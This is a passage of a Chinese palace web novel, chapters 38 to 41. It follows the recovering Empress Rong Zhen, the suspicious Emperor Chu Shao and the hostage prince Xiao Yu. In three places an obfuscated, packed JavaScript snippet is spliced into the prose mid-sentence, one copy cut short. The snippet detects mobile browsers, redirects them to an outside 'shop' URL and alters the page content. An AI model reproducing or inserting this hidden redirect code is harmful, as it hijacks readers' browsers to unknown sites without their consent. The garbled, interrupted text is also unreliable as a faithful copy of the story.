“去!传旨六宫,皇后身体不适,淑贵妃携众嫔妃前往明华殿侍疾,直到皇后醒来。众妃嫔不可自行回宫,若有抗旨或回宫者,褫夺封号,降为庶人,遣去冷宫。”楚绍强忍着怒气,沉声说道。 王乾惊诧地抬头,却见楚绍已不耐烦地挥手屏退他。虽不知晓卫统领同陛下说了什么,但这圣怒是任何人都不敢去承受的,只得起身前往后宫传旨。 本打算脱簪就寝的宋冉琴听宫人来报王公公来了,心喜地拿起妆台上的菱花镜又添了几分妆容,笑得如同绽放的一朵桃花去了正厅。 她以为今晚陛下会没有心情翻牌子的,哪知王公公这个时辰过来了,眼睛笑的眯成一条缝,刚要开口问话,却听王乾正色道:“淑贵妃接旨。” 本笑如桃花的宋冉琴一脸茫然,但还是规矩地领着众人跪地。 “陛下口谕,今皇后娘娘不适,淑贵妃携六宫娘娘即刻前往明华殿侍疾,皇后娘娘未醒前不可自行回宫。若有不尊者,褫夺封号,降为庶人,遣往冷宫,钦此!” 待王乾说完旨,宋冉琴脸上的神色变换几次,已由茫然转为不快,却不敢发作。 她细细揣摩着,仿佛一瞬间抓住了些什么,却不敢多想,张了张口想问问王公公,却听王乾催促道:“贵妃娘娘,您还是赶紧过去吧,六宫还等着您呢。” 王乾想起刚刚陛下的神情,自是不敢多言,也不敢多透露,圣旨已经传到,他还是早点回去,让徒弟去顶了他今晚的岗。哪怕再多在陛下殿外待上一盏茶的功夫,他都觉得后脖子发凉。 38.病愈 亥时末,明华殿内灯火通明。 原本休沐在家的沈院判被急召入宫,现下与其他太医一同也在明华殿偏殿等候,以便随时召唤看顾皇后的病情。 宋冉琴虽心中不满,但陛下口谕自是不敢怠慢,身上穿着换下花了好些心思的华服来不及换下,让人传了步辇立即向明华殿而去。 夜雨仍在淅淅沥沥的下着,每一滴都似是滴在了宋冉琴今夜凉透的心上。 过来明华殿并不远,待她到时已有好些宫殿住的近些的妃嫔已经坐在了正殿中,脸上的神情也都不怎么好。 见到宋冉琴踏步入内,皆收敛神情纷纷起身见礼:“见过淑贵妃。” 宋冉琴一双眼睛在每一位妃嫔身上扫过,无不是巧妆华服。 她冷嗤一声虽不大情愿,但还是走上最首位左下方的第一个位置坐下。 又过了一盏茶的时间,各宫的妃嫔已齐聚明华殿。 她端起明华殿的宫女沏好的茶,浅浅地抿一口才缓缓开了口,语气如同殿外夜雨一样寒凉,“咱们今夜冒雨前来都是为了来给皇后娘娘侍疾,各位妹妹就不用拘于礼数,需得尽心尽力服侍皇后。” 各宫妃嫔皆应答道:“是。” 芯红虽不清楚皇帝这大晚上的让整个后宫前来侍疾的用意,也不敢怠慢丝毫。 将容蓁搭在额前的帕子拿下,换了个新的搭上后,这才疾步出了暖阁来到正殿。 已有宫女给嫔妃们奉了茶,芯红从暖阁内走出,向各宫娘娘行了礼,一副老成稳重的模样开口道:“夜深露重的,劳烦各宫娘娘辛苦前来。皇后娘娘尚未醒来,侍疾便劳烦各位娘娘们二人轮一时辰,轮流着来吧。还未轮到的其余娘娘们可先移步西偏殿歇息。” 嫔妃们轮番侍疾,各个眼下都是深深的乌青,却没有一人回宫。 直到第二日太阳越过殿顶,容蓁才悠悠转醒。 得知众嫔妃都在明华殿内轮流侍疾,稍稍让绿芜为自己整理了一下仪容便叫芯红将她们都请了进来。 后者轻声应了一句,就转身出了暖阁。 绿芜轻轻将容蓁扶起来,半靠着床榻坐起。 众嫔妃进到暖阁,见皇后醒来气色娴静,只是脸色比平日略显苍白了些。虽身上盖了件薄毯,纤细玲珑的身子在薄毯下若隐若现,加上难出其二的娇美的面容和华贵典雅的气质,仿若坠落尘间的仙子。 她们见到皇后恢复了些精神,这才深深感受到皇后安康对六宫而言的重要性,就连宋冉琴心底也在她自己未察觉之下稍稍松了一口气。 暖阁里,凤面纹金卧炉里燃着安神香。 容蓁觉得睡久了,头还有些昏沉,强撑着精神还是客套的与众嫔妃说了几句话,又让芯红从小私库里挑了一些皇帝赏赐的东西出来转而赏赐给了她们,不多会也就让她们早早跪安,各自回宫去歇息去了。 众嫔妃出了暖阁不久,容蓁抬眸看向一旁的芯红,眼里满是询问。 “娘娘,奴婢也不清楚。” 芯红知道娘娘想问何事,她也猜不到皇帝的用意只得摇了摇头。 于是将昨夜的事事无巨细一一说给了容蓁。只是萧誉求助的事,容蓁当时昏迷着,芯红忙着伺候,并不知情,所以并没有提。 听完芯红的口述,容蓁有些迷惑。 “杏花糕?”她看向近处桌面上摆着的一盘,芯红重新换过新做好的杏花糕。 她自小喝药怕苦,幼时一次随同两位兄长去东宫,是太子楚然让人准备的一盘杏花糕,与两位兄长哄着,才使得她喝完了药。 且自那之后,每每喝完药都会吃几片杏花糕,去一去嘴里的苦味,渐渐的成了她的习惯。 只是楚绍如何知晓她这较为私密的习惯,就不得而知了。 “陛下这次打着什么算盘,竟也舍得让淑贵妃过来为侍疾。” 容蓁伸手揉了揉额头,沉默了半响,“罢了,你将杏花糕拿来,大抵是喝了药的缘故,醒来便觉着嘴里苦的很。” 这时,殿外有宫女传话,就见沈院判亲自端了熬好的药进来,“微臣听闻皇后娘娘醒了,微臣特意来为娘娘请平安脉。” 芯红从沈院判手中接过药碗,用勺子舀到容蓁嘴边,“娘娘先将药喝了吧。” 容蓁好看的眉头蹙起,一副不情愿的样子,却还是乖乖地一口口将药都喝尽。 芯红放下药碗,连忙拿了块杏花糕递给容蓁,她稍稍咬了一口,细细的嚼着,感受到杏花的清甜在嘴中散开,嘴里的苦涩味渐渐化去。 沈院判替容蓁请完脉,确定已无大碍才起身,“娘娘身体已无碍,只是伤口的积液还未完全清除,这几日微臣会让医女每日来为娘娘施针,娘娘在完全康复前切勿随意走动,以免加重伤症。” 容蓁点头,“本宫知道了,有劳沈院判,绿芜去送送沈院判罢。” “沈院判请。”绿芜伸手引路。 沈院判随同绿芜走出明华殿,又仔细地交代了一些注意事项,这才向太医院去。 - 容蓁痊愈是半月后,正是阳光明媚的日子。 自那日夜里过后,楚绍再未有踏入过后宫半步。 在床上躺了十多天,前段时间兄长怕她闷,从江南寻几个有意思的话本子捎给她,但到底是还是给憋坏了。但也有值得开心的事,例如她摸着萧誉给她的线索,将查到的吏部尚书与江南巡盐道之间的来往证据给到兄长后,兄长查案已有了重大突破。 剩下的就是江南郑氏。 沈院判日日请脉,终于点头松口气说道:“娘娘已痊愈。” 容蓁只觉头顶密布的乌云散去,就连院里树下长出的杂草此时见着都格外好看。 沈院判前脚出了明华殿,容蓁后脚就着芯红的搀扶下了暖榻,换了鹅黄牡丹绣绸缎罗裙,坐在梳妆台前让芯红为自己梳妆。 “娘娘可要是去向陛下请安?”芯红给她绾了个环髻,发髻中央戴着镶了三颗东珠的金凤钗,又添了几支珠钗,瞧着贵气掩住了脸色还带着的那丝几乎难以发觉的病气,这才满意。 只觉得自家娘娘真真是天底下最好看的女子,别说男人见了移不开眼,自己同身为女子都觉得有说不出的赏心悦目。 容蓁看着镜中的自己摇了摇头道:“按礼是该去,但本宫本就看他不对眼,常明知的案子还未有定论,他未必就愿意见着本宫,何必徒惹是非,还是在这宫里随意转转吧。” 不多时,芯红为她收拾妥当,容蓁缓缓起身,垂眸思忖片刻后吩咐道:“你还是指个机灵点儿的人去趟金銮殿告知陛下一声吧。” “是。”绿芜扶着容蓁缓缓往外走着,殿外早有备好的凤辇,芯红指了个殿内最机灵的太监去跑一趟金銮殿,这才回身与绿芜一同搀着容蓁走出了明华殿。 时近辰时,御道上仅有洒扫的宫人,有些清寂。 凤辇在御道上摇摇缓行,宫人们远远瞧见,立即停下手里的活,恭敬地低头跪拜。 今日天气晴好,风和日丽的,容蓁喊了“停”,待凤辇停稳,芯红靠近辇边。 “躺了十多日,身子松软,本宫想下去自己走走。”容蓁扶着芯红伸过来的手,走下辇,柔软精致的凤鞋踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942446|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在青玉铺的御道上,缓缓而行。 - 金銮殿里,楚绍将手中的折子扔到一旁,面上带了几分怒意。 是群臣联名为常明知求情的奏折。 自从常明知下狱,这几个月里,虽朝堂上参奏不多,但每隔几日就会有这样的奏折。 他一直压着未曾下旨发落,就是想看看容家到底在朝堂之中占了多重的分量。 可几个月下来,奏折不减不增,这其中的分寸把握的极为恰当,让他拿捏不住发作的机会,心中烦闷无法疏散。 楚绍手撑在御案上揉了揉眉心,余光扫到沈院判让人送来的脉案,伸手拿了过来翻了翻。 恰时,王乾躬身入殿内,“陛下,明华殿的宫人来报,皇后娘娘已大好。” “哦?既然大好为何不亲自来金銮殿?”楚绍放下脉案,眉头拧住,眸光一凝瞬间冷了下去。 王乾缩了缩脖子,诚惶诚恐道:“回陛下,那宫人说娘娘知陛下政务繁忙,怕打扰陛下,又怕陛下挂念,这才打发了人来禀告,并送来了些点心。那宫人说娘娘关心陛下龙体,望陛下勤政只余注意休息。” 楚绍虽知这话多半是王乾自己胡捏的,却还是稍宽了心脸色有所缓和,他收回视线覆手放下手中那本脉案,又继续翻看其他奏折。 此时的另一边,容蓁下了凤辇后走了一小会,觉得躺了小半月,身子还是差了些,微微有些气虚,扶着芯红绿芜二人道:“找处最近安静的地儿,咱们歇息会儿吧。” 芯红抬头看了看附近,“前面再过三道宫门才是御花园,距离咱们这儿最近的应是芙蓉亭了。” 容蓁点点头,“那便去芙蓉亭坐坐吧。” 芯红见自家娘娘脸色比出来前苍白了不少,应是病后虚弱未减,有些心疼,沉稳地招来一名宫女替了他,让她们先去一步布置了。她自己手中加了几分搀着容蓁的力,脚下却放缓了些,一行人向芙蓉亭走去。 容蓁淡然娴静地走着,心中想着事。虽看着弱不禁风,却丝毫不减那雍容华贵的气度。 “常大人的处置可曾下来了?” 绿芜知道问的是常明知常大人,“回娘娘,不曾。” “罢了,虽然还未发落,但陛下未必肯放过拔除容家羽翼的机会,还是得想个法子。” 言语间,一行人已经来到了芙蓉亭。 芯红已铺好了软垫备了茶食,周围各色的菊争奇斗艳,容蓁缓缓落座,脸上已有了些疲惫之色,干脆闭着眼睛养神。 微风轻轻拂过她的脸颊,青丝随风而动。这一幕,落在了不远处的一人眼里,足下有短暂的一顿。 “娘娘,似乎有人正往咱们这座亭子走来。”芯红瞧见那人的目光落到了容蓁身上,弯腰在容蓁耳旁低声说道。 容蓁闻声睁开眼,恰好与远处那人四目相对。 那人被这双杏眼瞧着,漆黑的眼眸看向容蓁那单薄的身子,不自知地皱起了眉,感觉她这段日子似是清减了不少。 容蓁点头,看着那人走近。 不过呼吸间,已到了芙蓉亭。 那人微微躬身,对容蓁见了礼,眼波流转打量着容蓁,眼底没有了往日的那一股清寒,而是抬头的一瞬间对她绽开一抹笑容,仿佛融化了冬日冰霜,分外温暖。 “好久不见,皇后娘娘。” 容蓁心下惊异片刻,但也在瞬间掩饰了眸中的那一丝心绪,同时发现身旁不少宫女们早已悄悄红了脸。 她暗暗想着,这真是一张到哪儿都是扰人心神的脸,笑着接过那人的话,“萧世子,好久不见。” 39.惊变 芙蓉亭四周菊花开得艳,却与不远处那张过分好看的容颜相比,还是失了些颜色。 容蓁坐在亭中,侧首静静地看着萧誉自远走近。 总感觉今日的他,有些不同。 若要说说到底哪里不同,大抵就是往日的他如雪花冰冷带着棱角的尖锐,喜者不畏寒,独得那份扎人的清冷;今日却是和煦如春风,让所有人心神微荡。 这样的萧誉,没有了阴沉疏离,却让容蓁有一瞬的恍惚,这多种面具之下,哪个面具后面才是真正的他。 “听闻陛下前些日子特许世子出入皇子们学习的学宫,这个时辰可是刚下学?”容蓁收起了打量的神色,轻声漫语道。 萧誉的步伐停留在芙蓉亭外,听容蓁开口问话,但丝毫未提那日将自己拒之门外的事,脸上的神色有一瞬迟疑,片刻后释然也觉得是情理之中的事情,她是皇后自然没必要向他这个质子解释。 于是点点头,温和地答道:“是,刚从学宫那边过来。” “在学宫可还习惯?”容蓁伸手,沏了两杯新上贡的碧螺春,自己拿过一杯自顾自地低眉浅尝一口,继续道:“世子请坐。” 萧誉眼中含笑,倒也不拘束,走进亭中后便在她的对面坐下,端起沏的另一杯细细品尝起来,并未直接回答,似笑非笑道:“娘娘倒是关心在下。” 容蓁抬眼看去,没接话。 待她又抿过两小口,将手里的茶盏放下,一双杏眼才微微抬起,侧眸打量着对面这个人,怎觉得这人是否哪根筋搭错了,不怎么像他。 萧誉却在同一刻拿过一旁的水壶,给容蓁空了的茶盏里添上,又给自己添了些将茶盏握在手里,垂眸看着盏中微微荡起的涟漪继续说道:“我这样的身份何谈习惯不习惯,别人看得惯才是好。” 说着,手中的茶饮尽,“有娘娘的关心,是萧誉之幸。” 容蓁收回视线浅笑着。 “怎觉得有些日子未见,萧世子似乎变了不少。”瞧着他那温润的样子,若非没见过原本这人的模样,未听过他“杀神”的名号,多半会以为他应是个温润如玉的小郎君。 萧誉勾嘴笑着,温雅至极,“在下知道中原有句话叫做‘入乡随俗’。我们南疆的人虽然性格直爽了些,却也并非对谁都厉声厉色,对特别的人自然也会有柔软的一面。” 容蓁怔了半会,又认真地看了看萧誉,重新添了茶,开起玩笑:“难不成,萧世子也‘入乡随俗’,习惯了盛京的勾心斗角?” 萧誉笑容僵在脸上,但只在一瞬,他很快用喝茶掩饰了过去,放下茶盏轻轻笑了笑。 末了,他抬眸对上容蓁那双探究的眼,眼底如深潭却又吸引着人,唇角微微勾起才答道:“若是我说……习惯不了呢?” 他看着她,脸上笑开,“我想念南疆的人,南疆的风景。” 像是在回忆着久远的事情,眼里的焦距慢慢散开,漆黑的眼中逐渐散发着越来越多的光芒,如同黑夜的星空,“那里的人们比盛京要质朴的多,没有谁天生高人一等;阳光也比这里好看……没有高墙遮挡,抬头就是漫天星辰。” 容蓁静静地看着萧誉,这样的他,看上去没有防备,没有戒心,她甚至在他一边说的时候,一边能够想象着他口中所说的南疆。 那仿佛是一片自由的,鲜花烂漫的,又带有一些神秘色彩的地域。 慢慢的,内心竟然也对南疆有了一份好奇,渐渐地增长出想要去感受一番那里风土人情的心动。 这份心动也被萧誉看在了眼里,转过头,眸光凝定片刻后,眼底染上了原来那丝如同夜狼的色彩,坚韧却没有狠厉,仍然温雅,两种格格不入的神色却是落在一个人的身上,却没有任何违和感。 他低沉的带着些勾人心魂的语气,开口问:“皇后娘娘可想去南疆看看?” 容蓁努力让自己忽视掉萧誉看向自己的眼神,“噗嗤”一声笑出了声,像是听到了一个有趣的话本子,良久才道:“我是楚燕的皇后,莫说南疆,就连这皇宫都不易出。” 萧誉看着容蓁,丝毫不管旁边还围着许多宫女,向容蓁靠近了些,追问道:“在下只问娘娘,想与不想。” 不知怎的,萧誉说这话时,她的心随着他的沉下去的尾音,漏空了一瞬。 容蓁倒是不怕今日与萧誉交谈的内容会传到谁的耳朵里,跟来的都是芯红与绿芜二人仔仔细细盘查过才留下来并敲打过的。 听了萧誉的话,原本认真看着对面之人的眼眸眨了眨后垂了下去,她抿起唇瓣,直到茶水饮尽,依然沉默着。 身后的宫女们自是当做什么都没听见,垂眼闭耳地站着。 一旁的芯红先皱起了眉,上前轻声提醒着:“娘娘,该回宫吃药了。” 话落,容蓁点点头,伸手扶着芯红搭过来的手起身,她动作极缓。 萧誉的眼睛一直跟着容蓁动作,未曾移开。 他是见过眼前这女人杀人的,可怎的现如今眼前这般,仿佛只需一阵风就能将她吹倒一般,心底有了一股说不上来的情绪。 远远看着她的凤辇消失在宫门的转角,萧誉这才收起了嘴角那温雅的笑,眼里的光暗了下去,没有了方才的温和,又恢复到往日阴沉沉的模样,头也不回地往相反的方向走去。 凤辇上。 容蓁脑海里出现的是萧誉的模样,刚刚他的眼神,以及问自己的话。 相比起去哪里,她从未想过是哪怕芯红曾有意无意地问过她是否想回容府,但她从没想过自己哪天会出去这座高墙红瓦。 当萧誉那双眼睛盯着她的时候,她才发现原来她心底有了一丝挣扎,那份来自对自由的渴望而挣扎。 皇宫对她如同金碧辉煌的鸟笼,除了舒适的环境,她的心和身体全都被紧紧的束缚着。 前世如她是自打进来这金笼,开始几年并不曾觉得什么,但日子越久就越发感到自己是被困在了这里,有着深深的无力感。 这么久了,极少有人能在她心海里掷一块石头,淑贵妃做不到,楚绍也做不到。 今日,她心底却因一个小她两岁少年的话开始泛起涟漪。 芯红紧跟在凤辇左侧,见容蓁不说话似在想着事情,眉眼间带着轻易觉察不出的一丝渴盼。 从进宫起,她家娘娘便是一副沉静无欲的样子,她不曾见到自家娘娘再为除了老爷和二位公子之外的人烦忧过。 她一直以为娘娘是因为大婚过后,所以性子淡了。直到今日,芯红才发现好像不是,仿佛只是娘娘的将自己从前的性子藏了起来。 芯红回想着,却也是第一次觉得,这个萧世子倒不像二公子所说的那样难缠。 - 十月的风已透着些寒意。 容平章家书中说道江南那边关于江南巡盐道与郑氏之间的往来勾结已有眉目,萧誉那边也出了不少力,竟能一点点瓦解郑氏在江南的多年积累。 商贾大都重利,看来萧誉此番无论财力还是人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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容蓁看着这封信的开头,想起自己确有过几回在看完信后说起“为让本宫开心,也难为萧世子写了这么趣事来哄本宫。”这样的话来。 又看了看此时眉头皱得能拧死蚂蚁的芯红,颇为无奈地摇了摇头,脸上展开了笑容。 信中继续写到:娘娘可还记得几月前想喝归芪蛇汤的事?那日二皇子咬伤了萧誉的手,为去蛇毒,您为在下抹药。娘娘或许不知,南疆有巫神,巫神曾在萧誉来楚燕前为我祝祷百毒不侵,所以那蛇毒于在下而言,亦无可畏惧。但萧誉依然感念娘娘关心,肯亲手为萧誉抹药…… 南疆有巫神的事情,她曾听二哥说起过,御医也曾提起过几句,却不曾想——这巫神竟是如此神奇,能使人百毒不侵。 她依稀想起那日萧誉神色淡淡的样子,若非右手处的两个红点撞进了她的眼里,真像被咬之人是旁人,而不是萧誉他本人。 信的末尾又写了些其他奇闻,倒让容蓁没那么在意。 她有些不明白,百毒不侵这件事,他怎得就这样轻易的告诉了自己。以他的心性,并非是那般轻易信了别人的人。 容蓁起身,将手中的信点燃,掷入铁盆里。 芯红随即伸手打开窗子,寒风透过帘幕吹了进来,散了暖阁内焚烧的气味。 容蓁重新在美人榻上躺下,拿过一本游记看了起来。 芯红又从旁拿了一块薄毯为容蓁盖上,仔细地掖好,又悄悄地打量了一眼容蓁的神情,便知道她家娘娘哪里是在看书,但也猜不到娘娘在想什么,总归应是与那位萧世子有关系。 老爷曾私底下提醒过芯红,让娘娘与萧世子之间不可交往过甚。 可自从芙蓉亭一遇之后,萧世子的信会让娘娘笑,让娘娘心宽。 于是从开始的不情愿,到现在的挣扎,她还是将萧世子的信拿到了娘娘跟前,也没将这事说与老爷。但到底,芯红的心里还是有些纠结的。 40.误会 几日后。 芯红踏着急促的步子进了明华殿的暖阁里,见美人榻上的人正专心拿着手里的书翻看,纠结着还是上前附在美人榻上那人耳旁低声说了几句。 容蓁听罢,好看的面容已染上几分轻蔑之色,冷笑道:“萧世子来盛京,在京郊被刺杀本就是陛下得意的手笔,只是没想到常明知大人未在他预想之中与萧世子汇合,数月过去都未能如愿发落常大人。如今也只能让常大人出狱官复原职,怕是哥哥在江南的这个案子越发难办了。” 话落,她重新闭上双眼,平息着情绪,呼吸之间情绪在她的脸上消失,又恢复到往常一脸平静的样子。 芯红心里着急,不停捐着手里的帕子。 她得到前朝传来的消息后就一路小跑着回殿告知她家娘娘,就连她都能够感受到,容家和陛下之间的斗争怕是停不下来了。 “紫冥。” 良久,容蓁唤了一声,依旧紧闭这双眼,声音很轻,只够身旁的芯红听见的音量。 窗外,一个身影从暗处走了出来,恭敬地低着头,等着容蓁的吩咐。 “你传信给栖云轩,江南郑氏该结束。” “是。” 那人得了吩咐,如同夜魅幽灵般,眨眼间消失在窗外。 半个时辰后,紫冥回到明华殿,禀告给容蓁:“小姐,萧世子说郑氏那边随时可动,就看小姐是打算让大公子来,还是萧世子。” 容蓁点头,挥了挥手道:“知道了。” 此时,另一边。 盛京最大的茶楼里。 几位少年围坐在其中一雅间的桌案前,低声正讨论着近日的大事儿。 因里头坐着的都是盛京中惹不得的几位公子哥儿,掌柜锁眉瞪眼地拉着新接手的小二,特意多嘱咐了几句,不管上茶上菜,都得紧紧把自己耳朵闭起来,管住自己的嘴和眼睛,不多看不多听最是要紧。 小二连连点头,掌柜的这才放心让他拧着几壶陈酿进了二楼的雅间。 席间正有人说着话,小二推了门进去,说话声戛然而止,几双眼睛落在他身上,突然的压力不由得让他咽了咽口水,浑身立马紧绷起来,大气不敢出一口,哪顾得上抬头招呼的功夫,加快了手脚利索地将手中的陈酿放在了桌案上,逃命似的退出了雅间。 几人见小二出去,这才继续着刚才的话题。 说话的正是阳亭侯三公子魏巡,“你们可曾听说,今日礼部藩辖司郎中常明知大人出狱之事?” 有人接过话,似是回想起什么,带着些疑惑地问:“嘶……那位大人,可是半年前接萧兄入盛京的常大人?” “正是。”魏巡点头,瞧了瞧对坐的萧誉神色淡然,正拧起一壶小二刚送来的陈酿打开来,酒香扑鼻,继续道:“曾听我父亲提过一嘴,常明知大人是容相的门生,与御史大人容大人还是同袍。” 镇国候二公子苏元清也不解地插嘴进来,“这事儿我也有所耳闻,容氏到底是百年簪缨世家。朝中除了容相,还有位中宫皇后。军中又有手握重兵的骠骑将军容二公子,别的不说,仅仅在咱们楚燕各地根系错杂的容氏旁系,便不能小觑。若陛下想借常明知来打压容家,仅凭现下的局势,只怕没那么容易。” “是啊,也不知陛下如今到底是如何想的。”有人附和道。 萧誉听着,心下默默地盘算,手中还不忘一一给席间的人倒满了酒,最后才为自己倒上一杯,一口饮尽,酒痛快下了肚。 这些公子哥儿才恍然想起,这身边不就正好坐着一位当事人嘛!于是都瞪着眼,满脸的好奇心,非得让萧誉将当时在郊外被刺杀的情景说上一说。 萧誉被他们闹得没办法,捡了他当时看到的,简单地说了说,自是隐去了后来他与方才他们口中那位中宫皇后的那段儿。 席间几人听得仿佛身临其境,脸上的五官似要拧成麻绳一般,嘴里“啧啧”感叹着萧誉命大。 此时,有人将声音压的更低,“咦?听说帝后除了大婚那夜陛下是歇在了皇后宫里,之后似是再未留宿过。” 说话的人顿了顿,看着周围几个张大着嘴,一副不敢相信的样子,解释着,“你们还别不信,这事儿宫里的人几乎都是知道,我敢拍着胸脯跟你们保证,这事儿确实不假。” 几人瞧着那人一副要拿自己项上人头作保的模样,这才相信地点点头。 那人笑开,故作神秘的样子,“上月秋猎可还记得,皇后娘娘被刺杀之事?” 几人闻言,又将目光转向了一直未说话的萧誉。 “萧兄秋猎时,曾救过皇后娘娘,不知容家对萧兄可有关照一二?” 萧誉正转动着手里的酒杯,指腹来回摩擦着杯口,想到易辰中毒那晚在明华殿前的容玉山,一双眸子漆黑晦暗不明,在座的几位也都是善于观色之人,默默地噤了声。 过了会儿,萧誉将手里的茶杯放回桌案上,笑了笑,“抱歉各位,刚刚在想着事情。容家对我自然有关照。” 桌案前,一时又回到了方才那活跃的气氛。 而刚刚问话那人手捏拳头放于嘴前,咳了咳,继续说道:“听闻皇后娘娘回宫当日夜里便发了烧昏迷着,陛下不仅亲自去皇后宫里探视,守了几个时辰不说,还下旨让六宫的娘娘全去了明华殿侍疾,就连淑贵妃都去了。直到第二日午时,皇后醒了六宫的娘娘们才各自回宫。” 话才刚落,几人再次不约而同地将目光向萧誉投去,刚好瞧见萧誉杯盏没握稳,满杯的酒洒在了领口处,湿了一片。 苏元清看着萧誉,眸光动了动,缓缓道:“萧兄虽居皇宫内,到底是后宫之事,怕也是不知此事。” 魏巡方才说的口干,拿起桌案上的酒喝了一口,“是这个理,外男不可进后宫,萧兄虽住在宫中,未必知道后宫的事情。也就梁青这样儿的,燕京城内哪家姑娘的事,能逃得过他耳朵,能知晓后宫的事了也倒不奇怪了。” 刚刚道出后宫秘闻的梁青闻言,脸上染了绯色,拿起酒杯也喝上了一口,不再多言。 - 一顿饭饱酒足之后,几位公子们都依依作别,各自回了府。 楚绍虽未禁止萧誉随意出宫,但也需赶在下钥前回宫。 萧誉怀着心思,待回到栖云轩,已是酉时。 正洒扫庭院的易辰见萧誉神色不好的回来,大步走上去,问道他身上淡淡的酒气道:“世子今日出去,可是被人恼了?” 后者摇头,“他们几人有什么可让我恼的,我只是在想,有必要加快与容家接触的速度了。” 易辰将手里的扫帚扶墙放下,“世子可是有了主意?” 萧誉脸上笑开,拍了拍易辰的肩头,神秘的在易辰耳旁说了三个字后留下呆立在门口的易辰,自己走进了殿内。 易辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984404|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只听“美人计”三字,如若全身被雷惊一般,好半会儿没缓过神来。 眼睛瞪大地眨了又眨,不可置信地伸手狠狠捏了右腿一把,吃了痛这才反应过来不是做梦。但若不是做梦,他家世子说的美人计又是怎么回事? 难不成,世子要将自己扮做美人,同那楚燕皇帝抢上一抢?只是稍稍一想,就打了个冷战,觉得还是被雷劈来的更实际。 “世子,您是认真的?”易辰深呼几口气,仍然一幅没缓过来神的模样,硬着头皮进了殿内,见萧誉左手拿着苹果,右手持刀,正削着果皮。 “你认为我在开玩笑?”萧誉头也不抬地反问道,手上继续削着苹果皮,仿佛正说着的是不他的事。 易辰心里瞬间没了底,完了,他家世子不会被楚燕的皇后迷住了吧? 可是,他家世子何时近起女色来了? 萧誉瞧着易辰那模样,有些好笑,也不知怎的,今日心情很不错,就连庭院中的开败的花都觉着依旧好看,又问了一嘴:“洗澡水可烧好了?” 易辰点点头,“早烧好了,一直加着柴火呢。” 萧誉将刚削了皮的苹果丢给易辰,“给你吃吧,我洗澡去。” 易辰呆了呆,“还这么早……” 萧誉打断了易辰的话,“宫外溜了一天,既然要用美人计,自然得是个干净的美人。” 这下易辰彻底呆在原地,觉得他家世子不是被迷住,而是魔怔了! 戌初二刻。 容蓁胃口不佳,只用了些小厨房里专做的白粥,正准备让芯红备水沐浴,却听见殿外一阵嘈杂声。 她好看的眉微微蹙起,眼神冷了下去,将刚脱下的凤钗重新插入发髻,由芯红扶着起了身,往屏风另一侧走去。 未等外间值班的太监通传,厚重的门帘已被人打起。 一身明黄龙纹常服,头戴金冠的男人踏着金丝勾的祥云玄靴走进了明华殿的暖阁内,后面尾随的一干众人皆在殿外默默止步,只王乾跟在其后入了内。 厚重的门帘重新落下,楚绍身后的王乾恭敬地给容蓁请了安,“皇后娘娘金安,陛下刚吃了些酒,说要来您宫里歇息一会儿。” 容蓁点头,瞥了一眼门口站着的楚绍,虽还未到而立之年,举手投足之间已颇有成熟帝王的气派。因喝了酒,此时一双凤眼带了几分酒意,面上染着浅浅的红色,似乎已然有些微醺。 他的容貌虽不及萧誉那般让人惊艳移不开眼,但在男子中也还是算得上翘楚。 楚绍步履没了平日稳重的章法,有些轻盈。嘴边带着三分笑意,绕过立屏,走到容蓁的面前停下,微眯起凤眼打量着她,笑问:“皇后今日可着人搭了戏台子观戏?” 容蓁行了礼,抬眸,对上楚绍那双凤眼,含笑回道:“不曾,若陛下想看戏了,臣妾明儿个就让人搭了台子再请陛下过来。” 楚绍闻言,目光落在容蓁发髻的凤钗上,没说话。 容蓁敛了敛心思,抬手指了两名宫女上前扶着楚绍上了坐塌,对另一名宫女又吩咐道:“去小厨房,让人给陛下熬一碗醒酒汤来。”说完又亲手沏了杯碧螺春,拿了盘糕点放在楚绍手旁,这才远远儿地在楚绍对面坐下。 楚绍一双凤眼半睁半闭着,他今天心情不是特好,瞧着容蓁离他那么远坐着,有些恼地微微皱起眉,拍了拍身旁坐塌,“过来,皇后,来朕身边儿坐。” 41.有情 夜色勾勒着烛火。 容蓁脸上端着得体不失分毫礼节的笑,笑意未达眼底,静如湖面的一双眼看着楚绍,但身体不曾移动半分。 烛光下,她绝美的容颜看着他神情淡漠,俨然一副中宫主母温良贤惠的模样,却失了夫妻之间你情我浓的缱绻。 上辈子她本也想着仿着宋冉琴平日讨好的模样,某个午后却得了他一句“假情假意使人恶心的”话后,她就再未动过讨好楚绍的心思。一如如今这般淡漠,却比这淡漠还要疏离,还要 没有什么比一盆冷水浇在了一门心思讨好的热情上,瞬间能够使人冷心冷肺的事了。 如今再活一世,她也必不可能再做那些讨好他的事情。 她垂眸这样想着,一幅冷冷的表情刺痛着楚绍那双酒醉微醺的双眼。 暖阁内一片静寂。 楚绍脸上终是绷不住了,原本不是很开心的面容瞬间阴冷下去,抬手挥避了暖阁内所以伺候的宫人。 芯红与王乾二人虽不放心,相互对视了一眼,但也不敢在殿里待着,只好与其他人一样退出暖阁,揣着一颗担忧的心在殿门外守着。 整个暖阁里,现在只剩下了楚绍与容蓁二人。 